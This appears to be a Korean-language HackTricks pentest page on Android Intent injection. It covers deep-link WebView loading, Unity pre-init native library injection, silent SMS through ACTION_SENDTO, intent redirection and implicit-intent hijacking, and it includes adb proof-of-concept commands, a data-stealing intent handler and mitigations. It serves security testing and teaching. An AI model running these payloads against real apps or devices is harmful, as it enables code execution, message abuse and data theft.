Intent Injection

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

Intent injection은 공격자가 제어하는 Intents 또는 나중에 Intents로 변환되는 데이터를 허용하는 컴포넌트를 악용합니다. Android 앱 pentests 동안 매우 흔한 두 가지 패턴은 다음과 같습니다:

  • 조작된 extras를 exported Activities/Services/BroadcastReceivers로 전달하고, 이들이 이후 권한이 있는 non-exported 컴포넌트로 전달되는 경우.
  • 공격자가 제어하는 URL을 내부 WebView나 기타 민감한 sink로 전달하는 exported VIEW/BROWSABLE 딥 링크를 트리거하는 경우.

딥 링크 → WebView sink (URL 파라미터 인젝션)

앱이 다음과 같은 커스텀 스킴 딥 링크를 노출하는 경우:

myscheme://com.example.app/web?url=<attacker_url>

그리고 수신 Activity가 url 쿼리 매개변수를 WebView로 전달하면, 앱이 자체 WebView 컨텍스트에서 임의의 원격 콘텐츠를 렌더링하도록 강제할 수 있습니다.

adb를 통한 PoC:

# Implicit VIEW intent
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# Or explicitly target an Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

영향

  • HTML/JS가 앱의 WebView 프로필 내에서 실행됩니다.
  • JavaScript가 활성화되어 있으면(기본값이거나 검사 순서가 잘못된 경우) 노출된 @JavascriptInterface 객체를 열거/사용하고 WebView 쿠키/로컬 스토리지를 탈취하며 피벗할 수 있습니다.

See also:

Webview Attacks

검사 순서 버그로 인한 JavaScript 활성화

자주 발생하는 버그는 최종 URL 허용 목록/검증이 완료되기 전에 JavaScript(또는 기타 관대한 WebView 설정)를 활성화하는 것입니다. 초기 헬퍼가 당신의 딥 링크를 수락하고 WebView가 먼저 구성되면, 이후 검사가 잘못되었거나 너무 늦더라도 최종 로드는 이미 JavaScript가 활성화된 상태에서 발생합니다.

디컴파일된 코드에서 찾아볼 항목:

  • URL을 다르게 파싱/분할/재구성하는 여러 헬퍼(정규화 불일치).
  • 마지막 호스트/경로 허용 목록 검사 전에 getSettings().setJavaScriptEnabled(true)를 호출하는 부분.
  • 파이프라인 예시: 파싱 → 부분 검증 → WebView 구성 → 최종 검증 → loadUrl.

Unity Runtime: Intent-to-CLI extras → 사전 초기화 네이티브 라이브러리 주입 (RCE)

Unity 기반 Android 앱은 일반적으로 진입 Activity로 com.unity3d.player.UnityPlayerActivity(또는 UnityPlayerGameActivity)를 사용합니다. Unity의 Android 템플릿은 unity라는 이름의 특별한 Intent extra를 Unity 런타임에 전달되는 명령줄 플래그 문자열로 취급합니다. 진입 Activity가 exported되어 있으면(많은 템플릿의 기본값), 로컬 앱 — 경우에 따라 BROWSABLE가 설정된 웹사이트도 — 이 extra를 제공할 수 있습니다.

위험하고 문서화되지 않은 플래그가 매우 초기 프로세스 초기화 중에 네이티브 코드 실행으로 이어집니다:

  • 숨겨진 플래그: -xrsdk-pre-init-library <absolute-path>
  • 효과: 초기화 단계 초기에 dlopen(<absolute-path>, RTLD_NOW)가 호출되어 공격자가 제어하는 ELF가 대상 앱 프로세스 내부에서 해당 UID와 권한으로 로드됩니다.

리버스 엔지니어링 발췌(단순화):

// lookup the arg value
initLibPath = FUN_00272540(uVar5, "xrsdk-pre-init-library");
// load arbitrary native library early
lVar2 = dlopen(initLibPath, 2); // RTLD_NOW

작동 원리

  • The Intent extra unity는 Unity 런타임 플래그로 파싱됩니다.
  • pre-init 플래그를 제공하면 Unity가 허용된 linker namespace 경로 내의 공격자 제어 ELF 경로를 가리키게 됩니다 (아래 제약 참조).

Conditions for exploitation

  • Unity의 entry Activity는 exported되어 있습니다(일반적으로 기본값으로 true).
  • 브라우저를 통한 원클릭 원격의 경우: entry Activity는 android.intent.category.BROWSABLE도 선언하여 intent: URL에서 extras를 전달할 수 있습니다.

Local exploitation (same device)

  1. 피해자 앱이 읽을 수 있는 경로에 payload ELF를 배치합니다. 가장 쉬운 방법: 공격자 앱에 악성 라이브러리를 포함시켜 attacker의 manifest에 설정하여 /data/app/.../lib/<abi>/ 아래에 추출되도록 합니다:
<application android:extractNativeLibs="true" ...>
  1. unity extra에서 CLI pre-init flag를 사용하여 피해자의 Unity activity를 실행합니다. ADB PoC 예시:
adb shell am start \
-n com.victim.pkg/com.unity3d.player.UnityPlayerActivity \
-e unity "-xrsdk-pre-init-library /data/app/~~ATTACKER_PKG==/lib/arm64/libpayload.so"
  1. Unity calls dlopen("/data/.../libpayload.so", RTLD_NOW); your payload runs in the victim process, inheriting all its app permissions (카메라/마이크/네트워크/스토리지 등) 및 인앱 세션/데이터에 대한 접근 권한을 상속합니다.

Notes

  • 정확한 /data/app/... 경로는 기기/설치마다 다릅니다. An attacker app는 런타임에 getApplicationInfo().nativeLibraryDir를 통해 자신의 native lib 디렉터리를 가져오고 이를 trigger에게 전달할 수 있습니다.
  • 파일이 유효한 ELF라면 .so로 끝날 필요가 없습니다 – dlopen()은 확장자가 아니라 ELF 헤더를 검사합니다.

Remote one‑click via browser (conditional) If the Unity entry activity is exported with BROWSABLE, a website can pass extras via an intent: URL:

intent:#Intent;package=com.example.unitygame;scheme=whatever;\
S.unity=-xrsdk-pre-init-library%20/data/local/tmp/malicious.so;end;

그러나 최신 Android에서는 동적 링커 네임스페이스와 SELinux가 많은 공개 경로(예: /sdcard/Download)에서의 로딩을 차단합니다. 다음과 같은 오류가 표시될 것입니다:

library "/sdcard/Download/libtest.so" ("/storage/emulated/0/Download/libtest.so") needed
or dlopened by "/data/app/.../lib/arm64/libunity.so" is not accessible for the
namespace: [name="clns-...", ... permitted_paths="/data:/mnt/expand:/data/data/com.example.unitygame"]

우회 전략: 공격자가 제어하는 바이트를 앱의 private 스토리지 아래(예: HTTP caches)에 캐시하는 앱을 대상으로 합니다. 허용된 경로에 /data와 앱의 private dir가 포함되어 있으므로, -xrsdk-pre-init-library를 앱 캐시 내부의 절대 경로로 가리키면 링커 제약을 충족시켜 코드 실행을 얻을 수 있습니다. 이는 다른 Android 앱들에서 관찰된 이전의 cache-to-ELF RCE 패턴을 반영합니다.

Confused‑Deputy: ACTION_SENDTO를 통한 무음 SMS/MMS (Wear OS Google Messages)

일부 기본 메시징 앱은 암시적 메시징 intent를 잘못 자동 실행하여 이를 confused‑deputy primitive로 만듭니다: 권한 없는 앱이라도 Intent.ACTION_SENDTOsms:, smsto:, mms:, 또는 mmsto:와 함께 트리거해 확인 UI나 SEND_SMS 권한 없이 즉시 전송을 유발할 수 있습니다.

Key points

  • Trigger: 암시적 ACTION_SENDTO + 메시징 URI 스킴.
  • Data: 수신자는 URI에 설정, 메시지 텍스트는 "sms_body" extra에 설정.
  • Permissions: 없음 (no SEND_SMS), 기본 SMS/MMS 핸들러에 의존.
  • Observed: Google Messages for Wear OS (patched May 2025). 다른 핸들러도 유사하게 평가해야 합니다.

Minimal payload (Kotlin)

val intent = Intent(Intent.ACTION_SENDTO).apply {
data = Uri.parse("smsto:+11234567890") // or sms:, mms:, mmsto:
putExtra("sms_body", "Hi from PoC")
// From a non-Activity context add NEW_TASK
addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
}
startActivity(intent)

ADB PoC (특별 권한 불필요)

# SMS/SMS-to
adb shell am start -a android.intent.action.SENDTO -d "smsto:+11234567890" --es sms_body "hello"
adb shell am start -a android.intent.action.SENDTO -d "sms:+11234567890"   --es sms_body "hello"

# MMS/MMS-to (handler-dependent behaviour)
adb shell am start -a android.intent.action.SENDTO -d "mmsto:+11234567890" --es sms_body "hello"
adb shell am start -a android.intent.action.SENDTO -d "mms:+11234567890"   --es sms_body "hello"

공격 표면 확장 (Wear OS)

  • 액티비티를 시작할 수 있는 모든 컴포넌트는 동일한 페이로드를 실행할 수 있습니다: Activities, foreground Services (with FLAG_ACTIVITY_NEW_TASK), Tiles, Complications.
  • 기본 핸들러가 자동으로 전송하는 경우, OEM 정책에 따라 백그라운드 컨텍스트에서 원탭 또는 완전히 무음으로 악용될 수 있습니다.

Pentest checklist

  • 대상에서 ACTION_SENDTO를 확인하여 기본 핸들러를 식별하고, 작성 UI를 표시하는지 또는 무음으로 전송하는지 확인합니다.
  • 동작 차이를 확인하기 위해 네 가지 스킴 (sms:, smsto:, mms:, mmsto:) 및 extras (sms_body, 옵션으로 MMS의 subject)를 모두 테스트하세요.
  • 실제 기기에서 테스트할 때 요금이 부과되는 목적지/유료 번호(premium‑rate numbers)를 고려하세요.

Other classic Intent injection primitives

  • 공격자가 제공한 Intent extras를 사용하는 startActivity/sendBroadcast로, 이 extras가 나중에 재파싱(Intent.parseUri(...))되어 실행되는 경우.
  • 권한 검사 없이 Intents를 non-exported 민감 컴포넌트로 전달하는 exported proxy 컴포넌트.

exported-component 테스트 자동화 (Smali-driven ADB generation)

exported 컴포넌트가 특정 extras를 기대할 때, 페이로드 형태를 추측하면 시간 낭비와 false negatives가 발생합니다. Smali에서 키/타입을 직접 자동으로 찾아내어 바로 실행 가능한 adb 명령을 출력할 수 있습니다.

Tool: APK Components Inspector

  • Repo: https://github.com/thecybersandeep/apk-components-inspector
  • Approach: Smali를 디컴파일하고 getStringExtra("key"), getIntExtra("id", ...), getParcelableExtra("redirect_intent"), getSerializableExtra(...), getBooleanExtra(...), getAction(), getData() 같은 호출을 스캔하여 각 컴포넌트가 소비하는 extras와 필드를 추론합니다.
  • Output: 모든 exported Activity/Service/Receiver/Provider에 대해, 도구는 간단한 설명과 올바른 타입의 플래그가 적용된 정확한 adb shell am .../cmd content ... 명령을 출력합니다.

설치

git clone https://github.com/thecybersandeep/apk-components-inspector
cd apk-components-inspector
python3 -m venv venv && source venv/bin/activate
pip install androguard==3.3.5 rich

사용법

python apk-components-inspector.py target.apk

예시 출력

adb shell am start -n com.target/.ExportedActivity --es url https://example.tld
adb shell am startservice -n com.target/.ExportedService --ei user_id 1337 --ez force true
adb shell am broadcast -n com.target/.ExportedReceiver -a com.target.ACTION --es redirect_intent "intent:#Intent;component=com.target/.Internal;end"
adb shell cmd content query --uri content://com.target.provider/items

ADB am extras 치트시트 (타입 인식 플래그)

  • 문자열: --es key value | 문자열 배열: --esa key v1,v2
  • 정수: --ei key 123 | 정수 배열: --eia key 1,2,3
  • 불리언: --ez key true|false
  • Longs: --el key 1234567890
  • 실수: --ef key 1.23
  • URI (extra): --eu key content://... | Data URI (Intent data): -d content://...
  • Component extra: --ecn key com.pkg/.Cls
  • Null 문자열 extra: --esn key
  • 공통 플래그: -a <ACTION> -c <CATEGORY> -t <MIME> -f <FLAGS> --activity-clear-task --activity-new-task

Providers를 위한 프로 팁

  • 에이전트 없이 ContentProviders에 접근하려면 adb shell cmd content query|insert|update|delete ...를 사용하세요.
  • SQLi 탐색을 위해, 기본 provider가 SQLite-backed인 경우 --projection--where (즉 selection)을 다양하게 시도하세요.

Full-pipeline automation (interactive executor)

# generate and capture commands then execute them one by one interactively
python apk-components-inspector.py app.apk | tee adbcommands.txt
python run_adb_commands.py
adb 명령을 파싱하고 실행하는 도우미 스크립트 ```python import subprocess

def parse_adb_commands(file_path): with open(file_path, ‘r’) as file: lines = file.readlines() commands = [] current = [] for line in lines: s = line.strip() if s.startswith(“adb “): current = [s] elif s.startswith(”#“) or not s: if current: full = ’ ’.join(current).replace(” \ “, “ “).replace(”\“, “”).strip() commands.append(full) current = [] elif current: current.append(s) if current: full = ’ ’.join(current).replace(“ \ “, “ “).replace(”\“, “”).strip() commands.append(full) return commands

for i, cmd in enumerate(parse_adb_commands(‘adbcommands.txt’), 1): print(f“\nCommand {i}: {cmd}“) input(“Press Enter to execute this command…”) try: r = subprocess.run(cmd, shell=True, check=True, text=True, capture_output=True) print(“Output:\n”, r.stdout) if r.stderr: print(“Errors:\n”, r.stderr) except subprocess.CalledProcessError as e: print(f“Command failed with error:\n{e.stderr}“)

</details>

기기에서 실행: 인스펙터는 Python 기반이며 `apktool`/`androguard`가 사용 가능한 Termux 또는 루팅된 휴대폰에서 동작합니다.

---

## Intent Redirection (CWE-926) – finding and exploiting

패턴
- 외부에 노출된 엔트리 포인트(Activity/Service/Receiver)가 들어오는 Intent를 읽어 출처/데이터를 검증하지 않고 내부 또는 외부로 전달하는 경우, 예:
- `startActivity(getIntent())`
- `startActivity(intent)` (여기서 `intent`는 `redirect_intent`/`next_intent`/`pending_intent` 같은 extra에서 왔거나 `Intent.parseUri(...)`로 생성된 경우)
- 검증 없이 `action`/`data`/`component` 필드를 신뢰하거나 호출자 신원을 확인하지 않음.

Smali/Java에서 찾아야 할 항목
- `getParcelableExtra("redirect_intent")`, `getParcelable("intent")`, `getIntent().getParcelableExtra(...)` 등의 사용 여부.
- 공격자가 조작한 Intent에 대해 직접 `startActivity(...)`, `startService(...)`, `sendBroadcast(...)` 호출.
- `getCallingPackage()`/`getCallingActivity()` 검사나 커스텀 권한 검증이 없는 경우.

ADB PoC 템플릿
- 프록시 Activity가 추가 Intent를 권한 있는 내부 Activity로 전달:
```bash
adb shell am start -n com.target/.ProxyActivity \
--es redirect_intent 'intent:#Intent;component=com.target/.SensitiveActivity;end'
  • redirect_intent parcelable을 처리하는 Exported Service:
adb shell am startservice -n com.target/.ExportedService \
--es redirect_intent 'intent:#Intent;component=com.target/.PrivService;action=com.target.DO;end'
  • Exported Receiver (검증 없이 중계함):
adb shell am broadcast -n com.target/.RelayReceiver -a com.target.RELAY \
--es forwarded 'intent:#Intent;component=com.target/.HiddenActivity;S.extra=1;end'

singleTask 스타일 동작에 유용한 Flags

# Ensure a fresh task when testing Activities that check task/intent flags
adb shell am start -n com.target/.ExportedActivity --activity-clear-task --activity-new-task

실제 사례(영향은 다양함):

  • CVE-2024-26131 (Element Android): exported 플로우가 WebView 조작, PIN 우회, login hijack으로 이어짐.
  • CVE-2023-44121 (LG ThinQ Service): exported receiver action com.lge.lms.things.notification.ACTION → 시스템 수준 영향.
  • CVE-2023-30728 (Samsung PackageInstallerCHN < 13.1.03.00): 리디렉션 → 임의 파일 접근(사용자 상호작용 필요).
  • CVE-2022-36837 (Samsung Email < 6.1.70.20): implicit Intents가 content를 leak함.
  • CVE-2021-4438 (React Native SMS User Consent).
  • CVE-2020-14116 (Xiaomi Mi Browser).

Intent Hijacking (implicit intents)

위협 모델

  • App A는 implicit Intent를 사용해 App B로부터 민감한 결과를 기대함(예: OAuth redirect, document picker 결과, IMAGE_CAPTURE 리턴, 또는 custom callback action).
  • 공격자 App C는 동일한 action/category/data에 매칭되는 <intent-filter>를 가진 exported 컴포넌트를 게시한다. B가 implicit Intent를 resolve할 때 resolver가 chooser를 표시할 수 있으며; 사용자가 C를 선택(또는 기본으로 설정)하면 페이로드가 A 대신 공격자 컴포넌트로 전달된다.

최소 PoC 매니페스트(공격자):

<activity android:name=".StealActivity" android:exported="true">
<intent-filter>
<action android:name="com.victim.app.ACTION_CALLBACK"/>
<category android:name="android.intent.category.DEFAULT"/>
<!-- Optionally constrain MIME or scheme/host/path to increase match score -->
<!-- <data android:mimeType="application/json"/> -->
<!-- <data android:scheme="myscheme" android:host="callback"/> -->
</intent-filter>
</activity>

핸들러 뼈대:

public class StealActivity extends Activity {
@Override protected void onCreate(Bundle b) {
super.onCreate(b);
Intent i = getIntent();
Bundle extras = i.getExtras();
Uri data = i.getData();
// Dump/forward sensitive result
android.util.Log.i("HIJACK", "action="+i.getAction()+" data="+data+" extras="+extras);
finish();
}
}

참고

  • 매칭의 구체성이 중요합니다 (action + categories + data). C의 필터가 B의 송신 Intent에 더 구체적일수록 표시되거나 자동 선택될 가능성이 높아집니다.
  • 이는 앱이 다른 앱이 URL을 처리하고 무언가를 반환하기를 기대할 때의 deep links (VIEW + BROWSABLE)에도 적용됩니다.

Pentest guidance

  • 타깃에서 명시적이지 않은 Intents를 사용하는 startActivity/startActivityForResult/registerForActivityResult 호출을 grep하세요.
  • extras, clipData, 또는 getData()에 토큰을 담아 보내는 Intents를 검사하고, 타사가 호환 가능한 필터를 등록할 수 있는지 확인하세요.
  • 암묵적 흐름을 명시적 Intents로 교체( set setPackage()/setComponent() ), 또는 exported receivers/services에 대해 caller-permission/서명된 권한을 요구하도록 권장합니다.

완화책

  • 콜백, 토큰, 인증 결과 등 민감한 흐름에는 명시적 Intents를 사용하세요.
  • 앱 간 통신이 필요한 경우 수신 컴포넌트에 권한 요구사항을 추가하고 호출자 신원을 검증하세요.
  • Intent filters는 꼭 필요한 것만 허용하도록 제한하고 엄격하게 설정하세요 (scheme/host/path/MIME).

리졸버 결정 관찰 (FLAG_DEBUG_LOG_RESOLUTION)

송신자를 제어할 수 있다면 암묵적 Intent에 Intent.FLAG_DEBUG_LOG_RESOLUTION을 추가하여 Android가 어떤 방식으로 리졸루션을 수행하고 어떤 컴포넌트가 선택되는지 로그를 남기게 하세요.

예시:

Intent intent = new Intent();
intent.setAction("android.media.action.IMAGE_CAPTURE");
intent.addFlags(Intent.FLAG_DEBUG_LOG_RESOLUTION);
startActivityForResult(intent, 42);

adb logcat에서 보이는 것은 intent 해결 추적과 최종 컴포넌트입니다. 예: com.android.camera2/com.android.camera.CaptureActivity.

CLI tip

# You can also set the debug flag from adb when firing an implicit Intent
# 0x00000008 == Intent.FLAG_DEBUG_LOG_RESOLUTION on modern Android
adb shell am start -a android.media.action.IMAGE_CAPTURE -f 0x00000008

# Then inspect the resolution in logs
adb logcat | grep -i -E "resolve|Resolver|PackageManager|ActivityTaskManager"

이것은 디바이스/에뮬레이터에서 후보 핸들러를 열거하고 테스트 중에 어떤 컴포넌트가 정확히 Intent를 받을지 확인하는 데 유용합니다.


References

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기